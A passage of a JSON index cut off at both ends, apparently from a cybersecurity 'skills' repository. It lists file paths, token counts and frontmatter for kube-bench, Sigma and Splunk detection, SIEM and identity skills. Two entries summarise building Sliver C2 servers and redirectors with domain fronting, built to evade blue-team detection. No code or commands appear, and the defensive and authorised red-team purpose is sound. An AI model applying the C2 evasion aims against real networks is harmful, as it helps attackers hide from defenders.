-->","isInternal":false,"tokens":366,"sizeBytes":1650},{"name":"SKILL.md","path":"skills/benchmarking-kubernetes-with-kube-bench/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/benchmarking-kubernetes-with-kube-bench/SKILL.md","title":"benchmarking-kubernetes-with-kube-bench","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbenchmarking-kubernetes-with-kube-bench%2FSKILL.md -->","frontmatter":{"name":"benchmarking-kubernetes-with-kube-bench","description":"Installs and runs the kube-bench tool against a Kubernetes cluster as a Job, DaemonSet, or standalone binary, selecting the correct benchmark version and targets (control plane, etcd, kubelet, worker nodes) and emitting JSON or JUnit output for pipelines. Use when setting kube-bench up for the first time, choosing which benchmark version and node targets to run, wiring it into CI, or troubleshooting skipped or misdetected checks. Keywords: kube-bench, DaemonSet, --benchmark, --targets, JSON output, JUnit, CI integration. Do not use for interpreting the findings or producing an audit report - use performing-kubernetes-cis-benchmark-with-kube-bench.","domain":"cybersecurity","subdomain":"container-security","tags":["kubernetes","kube-bench","cis-benchmark","container-security","hardening","compliance","cluster-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01"],"mitre_attack":["T1610"]},"isInternal":false,"tokens":2210,"sizeBytes":9322},{"name":"api-reference.md","path":"skills/building-adversary-infrastructure-tracking-system/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-adversary-infrastructure-tracking-system/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-adversary-infrastructure-tracking-system%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":391,"sizeBytes":1504},{"name":"SKILL.md","path":"skills/building-adversary-infrastructure-tracking-system/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-adversary-infrastructure-tracking-system/SKILL.md","title":"building-adversary-infrastructure-tracking-system","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-adversary-infrastructure-tracking-system%2FSKILL.md -->","frontmatter":{"name":"building-adversary-infrastructure-tracking-system","description":"Build an automated adversary infrastructure tracking system in Python (dnspython, python-whois, shodan, networkx) that pivots across passive DNS, certificate transparency logs, WHOIS records, and IP enrichment to map threat-actor C2 networks and flag newly registered domains matching known patterns. Use when pivoting from known indicators to discover related C2 infrastructure or maintaining a continuously updated map of a threat actor's network.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["infrastructure-tracking","passive-dns","c2","whois","threat-actor","pivoting","threat-intelligence","domain-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1583.001","T1583.004","T1596.001","T1590.002","T1071.001"]},"isInternal":false,"tokens":3099,"sizeBytes":14837},{"name":"api-reference.md","path":"skills/building-attack-pattern-library-from-cti-reports/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-attack-pattern-library-from-cti-reports/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-attack-pattern-library-from-cti-reports%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":453,"sizeBytes":1431},{"name":"SKILL.md","path":"skills/building-attack-pattern-library-from-cti-reports/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-attack-pattern-library-from-cti-reports/SKILL.md","title":"building-attack-pattern-library-from-cti-reports","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-attack-pattern-library-from-cti-reports%2FSKILL.md -->","frontmatter":{"name":"building-attack-pattern-library-from-cti-reports","description":"Parse cyber threat intelligence reports (Mandiant, CrowdStrike, Talos, Microsoft) with stix2, mitreattack-python, and spaCy to extract adversary behaviors, map them to MITRE ATT&CK technique IDs, and build a searchable STIX 2.1 attack-pattern library with detection templates. Use when cataloging attack patterns from CTI reports for threat-informed detection engineering, or generating Sigma/YARA templates from documented behaviors.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["attack-pattern","cti-reports","mitre-attack","stix","detection-engineering","threat-intelligence","nlp","extraction"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1566.001","T1059.001","T1003.001","T1558.003","T1550.002"]},"isInternal":false,"tokens":3095,"sizeBytes":13772},{"name":"api-reference.md","path":"skills/building-automated-malware-submission-pipeline/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-automated-malware-submission-pipeline/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-automated-malware-submission-pipeline%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":541,"sizeBytes":1976},{"name":"SKILL.md","path":"skills/building-automated-malware-submission-pipeline/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-automated-malware-submission-pipeline/SKILL.md","title":"building-automated-malware-submission-pipeline","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-automated-malware-submission-pipeline%2FSKILL.md -->","frontmatter":{"name":"building-automated-malware-submission-pipeline","description":"Builds an automated malware submission and analysis pipeline that collects suspicious files from endpoints and email gateways, submits them to sandbox environments and multi-engine scanners, and generates verdicts with IOCs for SIEM integration. Use when SOC teams need to scale malware analysis beyond manual sandbox submissions for high-volume alert triage.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","malware-analysis","sandbox","automation","virustotal","cuckoo","any-run","pipeline"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1204.002","T1566.001","T1027","T1055","T1497"]},"isInternal":false,"tokens":4354,"sizeBytes":19018},{"name":"template.md","path":"skills/building-c2-infrastructure-with-sliver-framework/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-c2-infrastructure-with-sliver-framework/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":491,"sizeBytes":2028},{"name":"api-reference.md","path":"skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":451,"sizeBytes":1633},{"name":"standards.md","path":"skills/building-c2-infrastructure-with-sliver-framework/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-c2-infrastructure-with-sliver-framework/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":324,"sizeBytes":1322},{"name":"workflows.md","path":"skills/building-c2-infrastructure-with-sliver-framework/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-c2-infrastructure-with-sliver-framework/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":507,"sizeBytes":2401},{"name":"SKILL.md","path":"skills/building-c2-infrastructure-with-sliver-framework/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md","title":"building-c2-infrastructure-with-sliver-framework","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2FSKILL.md -->","frontmatter":{"name":"building-c2-infrastructure-with-sliver-framework","description":"Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","c2-framework","sliver","command-and-control","adversary-simulation","infrastructure","post-exploitation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1071.001","T1071.004","T1573.002","T1090.002","T1105","T1572"]},"isInternal":false,"tokens":1978,"sizeBytes":8196},{"name":"api-reference.md","path":"skills/building-c2-redirector-infrastructure/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-c2-redirector-infrastructure/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-redirector-infrastructure%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":632,"sizeBytes":2195},{"name":"standards.md","path":"skills/building-c2-redirector-infrastructure/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-c2-redirector-infrastructure/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-redirector-infrastructure%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":443,"sizeBytes":1819},{"name":"SKILL.md","path":"skills/building-c2-redirector-infrastructure/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-c2-redirector-infrastructure/SKILL.md","title":"building-c2-redirector-infrastructure","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-redirector-infrastructure%2FSKILL.md -->","frontmatter":{"name":"building-c2-redirector-infrastructure","description":"Build dumb-pipe and traffic-filtering C2 redirectors with nginx (proxy_pass) and Apache (mod_rewrite), deriving filter rules from a Malleable C2 profile, layering Let's Encrypt TLS, and applying OPSEC controls like domain fronting and UA/geo filtering. Use when standing up red-team C2 that must survive blue-team triage or ensuring only profile-matching implant traffic reaches the hidden team server.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","c2-infrastructure","redirector","nginx","apache-mod-rewrite","malleable-c2","opsec","traffic-filtering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1090.002"]},"isInternal":false,"tokens":2934,"sizeBytes":11601},{"name":"api-reference.md","path":"skills/building-cloud-siem-with-sentinel/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-cloud-siem-with-sentinel/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-cloud-siem-with-sentinel%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":453,"sizeBytes":1903},{"name":"SKILL.md","path":"skills/building-cloud-siem-with-sentinel/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-cloud-siem-with-sentinel/SKILL.md","title":"building-cloud-siem-with-sentinel","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-cloud-siem-with-sentinel%2FSKILL.md -->","frontmatter":{"name":"building-cloud-siem-with-sentinel","description":"Deploy Microsoft Sentinel as a cloud-native SIEM/SOAR by configuring multi-cloud data connectors (AWS, Azure, GCP), writing KQL detection and hunting queries, and building automated Logic Apps response playbooks. Use when establishing a centralized SOC for multi-cloud environments, migrating from a legacy SIEM, or performing petabyte-scale threat hunting; not for AWS-only setups where Security Hub/GuardDuty suffice or for endpoint EDR needs.","domain":"cybersecurity","subdomain":"cloud-security","tags":["microsoft-sentinel","cloud-siem","kql-queries","soar-automation","threat-detection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1548.005","T1485","T1530","T1021.007"]},"isInternal":false,"tokens":3035,"sizeBytes":13131},{"name":"template.md","path":"skills/building-detection-rule-with-splunk-spl/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-detection-rule-with-splunk-spl/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":490,"sizeBytes":1982},{"name":"api-reference.md","path":"skills/building-detection-rule-with-splunk-spl/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-detection-rule-with-splunk-spl/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":418,"sizeBytes":1554},{"name":"standards.md","path":"skills/building-detection-rule-with-splunk-spl/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-detection-rule-with-splunk-spl/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":490,"sizeBytes":2366},{"name":"workflows.md","path":"skills/building-detection-rule-with-splunk-spl/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-detection-rule-with-splunk-spl/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":506,"sizeBytes":2069},{"name":"SKILL.md","path":"skills/building-detection-rule-with-splunk-spl/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-detection-rule-with-splunk-spl/SKILL.md","title":"building-detection-rule-with-splunk-spl","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rule-with-splunk-spl%2FSKILL.md -->","frontmatter":{"name":"building-detection-rule-with-splunk-spl","description":"Build effective detection rules using Splunk Search Processing Language (SPL) correlation searches to identify security threats in SOC environments.","domain":"cybersecurity","subdomain":"soc-operations","tags":["splunk","spl","detection-engineering","correlation-search","siem","soc","threat-detection","enterprise-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1059.001","T1003.001","T1021.002","T1110.003","T1053.005","T1048"]},"isInternal":false,"tokens":2663,"sizeBytes":10691},{"name":"api-reference.md","path":"skills/building-detection-rules-with-sigma/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-detection-rules-with-sigma/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rules-with-sigma%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":541,"sizeBytes":2127},{"name":"SKILL.md","path":"skills/building-detection-rules-with-sigma/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-detection-rules-with-sigma/SKILL.md","title":"building-detection-rules-with-sigma","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-detection-rules-with-sigma%2FSKILL.md -->","frontmatter":{"name":"building-detection-rules-with-sigma","description":"Builds vendor-agnostic detection rules using the Sigma rule format for threat detection across SIEM platforms including Splunk, Elastic, and Microsoft Sentinel. Use when creating portable detection logic from threat intelligence, mapping rules to MITRE ATT&CK techniques, or converting community Sigma rules into platform-specific queries using sigmac or pySigma backends.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","sigma","detection-rules","siem","mitre-attack","splunk","elastic","sentinel"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Execution Isolation","Process Termination","Hardware-based Process Isolation","Web Session Access Mediation","Process Suspension"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1059.001","T1003.001","T1055","T1053.005","T1547.001"]},"isInternal":false,"tokens":2657,"sizeBytes":10694},{"name":"template.md","path":"skills/building-devsecops-pipeline-with-gitlab-ci/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-devsecops-pipeline-with-gitlab-ci/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":373,"sizeBytes":1423},{"name":"api-reference.md","path":"skills/building-devsecops-pipeline-with-gitlab-ci/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-devsecops-pipeline-with-gitlab-ci/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":430,"sizeBytes":1544},{"name":"standards.md","path":"skills/building-devsecops-pipeline-with-gitlab-ci/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-devsecops-pipeline-with-gitlab-ci/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":601,"sizeBytes":2662},{"name":"workflows.md","path":"skills/building-devsecops-pipeline-with-gitlab-ci/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-devsecops-pipeline-with-gitlab-ci/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":475,"sizeBytes":2327},{"name":"SKILL.md","path":"skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md","title":"building-devsecops-pipeline-with-gitlab-ci","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-devsecops-pipeline-with-gitlab-ci%2FSKILL.md -->","frontmatter":{"name":"building-devsecops-pipeline-with-gitlab-ci","description":"Configure a GitLab CI/CD pipeline that embeds SAST (Semgrep, SpotBugs, Gosec, Bandit, NodeJsScan), DAST, container scanning, dependency scanning, and secret detection via GitLab's managed security templates. Use when building a shift-left DevSecOps pipeline in GitLab, adding automated vulnerability scanning stages to .gitlab-ci.yml, or triaging scanner findings with GitLab Duo AI before deployment.","domain":"cybersecurity","subdomain":"devsecops","tags":["gitlab-ci","devsecops","sast","dast","container-scanning","dependency-scanning","secret-detection","cicd-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195.001","T1195.002","T1552.001","T1190","T1610"]},"isInternal":false,"tokens":2074,"sizeBytes":8864},{"name":"template.md","path":"skills/building-identity-federation-with-saml-azure-ad/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-identity-federation-with-saml-azure-ad/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":395,"sizeBytes":1576},{"name":"api-reference.md","path":"skills/building-identity-federation-with-saml-azure-ad/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-identity-federation-with-saml-azure-ad/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":476,"sizeBytes":1598},{"name":"standards.md","path":"skills/building-identity-federation-with-saml-azure-ad/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-identity-federation-with-saml-azure-ad/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":431,"sizeBytes":1761},{"name":"workflows.md","path":"skills/building-identity-federation-with-saml-azure-ad/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-identity-federation-with-saml-azure-ad/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":946,"sizeBytes":4439},{"name":"SKILL.md","path":"skills/building-identity-federation-with-saml-azure-ad/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-identity-federation-with-saml-azure-ad/SKILL.md","title":"building-identity-federation-with-saml-azure-ad","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-federation-with-saml-azure-ad%2FSKILL.md -->","frontmatter":{"name":"building-identity-federation-with-saml-azure-ad","description":"Configure SAML 2.0 identity federation between on-premises Active Directory (via AD FS or a third-party IdP) and Microsoft Entra ID, covering federation models (AD FS, password hash sync, pass-through auth, third-party IdP) and the SAML authentication flow. Use when extending on-premises authentication authority to cloud resources or designing hybrid identity SSO architecture for Entra ID.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["saml","azure-ad","entra-id","federation","identity","sso","adfs","hybrid-identity"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1606.002","T1556.007","T1484.002","T1078.004","T1110.003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"T1110.003","name":"Brute Force: Password Spraying","tactic":"initial-access","source":"attack"},{"id":"T1550","name":"Use Alternate Authentication Material","tactic":"initial-access","source":"attack"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":2397,"sizeBytes":10023},{"name":"api-reference.md","path":"skills/building-identity-governance-lifecycle-process/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-identity-governance-lifecycle-process/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-governance-lifecycle-process%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":488,"sizeBytes":2172},{"name":"SKILL.md","path":"skills/building-identity-governance-lifecycle-process/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-identity-governance-lifecycle-process/SKILL.md","title":"building-identity-governance-lifecycle-process","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-identity-governance-lifecycle-process%2FSKILL.md -->","frontmatter":{"name":"building-identity-governance-lifecycle-process","description":"Design identity governance and lifecycle (IGA) programs on platforms like SailPoint, Saviynt, or Entra ID Governance, covering joiner-mover-leaver (JML) automation, role mining, access requests, periodic recertification, and orphaned-account remediation sourced from an HR feed. Use when automating cross-system JML provisioning, remediating former-employee access, or building lifecycle processes for SOX, HIPAA, or GDPR compliance.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["identity-governance","lifecycle-management","JML","access-provisioning","RBAC","IGA"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","GOVERN-1.7","MAP-1.1"],"nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1098","T1136","T1078","T1531","T1087"],"mitre_f3":{"version":"1.1","tactics":["positioning","defense-impairment","initial-access"],"techniques":[{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"},{"id":"F1005.002","name":"Account Manipulation: Add Authorized User","tactic":"positioning","source":"f3"},{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"},{"id":"F1042","name":"Reactivate Account","tactic":"positioning","source":"f3"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":5973,"sizeBytes":29043},{"name":"api-reference.md","path":"skills/building-incident-response-dashboard/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-incident-response-dashboard/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-incident-response-dashboard%2Freferences%2Fapi-reference.md 